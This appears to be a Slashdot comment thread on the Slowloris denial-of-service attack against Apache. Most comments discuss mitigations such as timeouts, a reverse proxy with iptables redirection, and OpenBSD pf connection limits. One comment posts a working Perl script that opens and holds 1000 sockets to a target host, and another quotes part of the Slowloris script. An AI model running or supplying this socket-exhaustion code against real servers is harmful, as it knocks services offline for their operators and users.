Slashdot

It's just holding sockets open; that's the "Hello, world!" of DOS attacks.

I'm finding it hard to believe that Apache is genuinely vulnerable to this. Did nobody see it coming? For real?

Why isn't IIS vulnerable? Does it just assume the headers are done after some amount of time? Does it have a limit to the number of headers it accepts?

Can this even be fixed without technically breaking the protocol (since it sounds like what's going on is correct behavior, theoretically)?

You can have perlbal or any reverse proxy on the same machine but listening on a different port and then use iptables to redirect like this

# iptables -t nat -A -PREROUTING -d ! 127.0.0.1 -p tcp -m tcp --dport 8080 -j REDIRECT --to-ports 80

and then you don't need to change your apache configuration - and having apache listen on a different port to what users see can break some scripted sites if they read the port number from the apache config.

And the only resolution right now that I can see is to have a connection timeout.

At least the problem is a denial of service problem and not a problem with intrusion so the damage is easily rectified - restart the web server. Not that you really want to restart it.

And I suspect that other services can be vulnerable to this type of attack too, not only web servers.

if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Slowloris against this target. You can
tweak the -tcpto flag down to 1 second but it still may not build the sockets
in time.
EOSUCKS2BU
}

Lower Apache's timeout to below 166 seconds.

OpenBSD's pf [openbsd.org] firewall has some options that can help mitigate the "single attacker, single source IP" version of this attack. Of course if the attackers decide to spread the attack out over multiple source IPs like a DDoS, this becomes much harder to deal with until Apache has a patch.

Filter rules that create state entries can specify various options to control the behavior of the resulting state entry. The following options are available:

max number

Limit the maximum number of state entries the rule can create to
number.
If the maximum is reached, packets that would normally create state
fail to match this rule until the number of existing states decreases
below the limit.

no state

Prevents the rule from automatically creating a state entry.

source-track

This option enables the tracking of number of states created per
source IP address.

The total number of source IP addresses tracked globally can be
controlled via the

src-nodes runtime option [slashdot.org].

max-src-nodes number

When the source-track option is used,
max-src-nodes will limit the number of source IP addresses that
can simultaneously create state.
This option can only be used with source-track rule.

max-src-states number

When the source-track option is used,
max-src-states will limit the number of simultaneous state
entries that can be created per source IP address.
The scope of this limit (i.e., states created by this rule only or
states created by all rules that use source-track) is dependent
on the source-track option specified.

http://httpd.apache.org/docs/2.2/mod/core.html#timeout

The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

HTTP 1.1 [rfc-editor.org] specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).

What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)

Currently, Apache 2.2 [apache.org] has a single timeout value for all types of requests, but it is interpreted differently for the different types.

If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.

Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.

#!/usr/bin/env perl

use IO::Socket::INET;
use strict;
use constant DEFAULT_PORT => "http";

MAIN: {
if(@ARGV<1 or @ARGV>2) {
die "Usage: $0 host [port]\n";
}
my($host)=shift;
my($port)=@ARGV?shift:DEFAULT_PORT;

my(@sockets);

for(my $cnt=0;$cnt<1000;++$cnt) {
my $socket=new IO::Socket::INET(PeerAddr=>$host,
PeerPort=>$port,
Proto=>"tcp");
unless(defined($socket)) {
die "Cannot create socket to $host:$port--$!\n";
}
$socket->print("\r\n");
push(@sockets,$socket);
print " Have ".@sockets." open.\n";
}
}

Not quite as stealthy, though. At least as above.

If you're going to post links to isc.sans.org, can you please post links to the specific article, and not just the main page?

Here is the link to the specific article: http://isc.sans.org/diary.html?storyid=6601 [sans.org]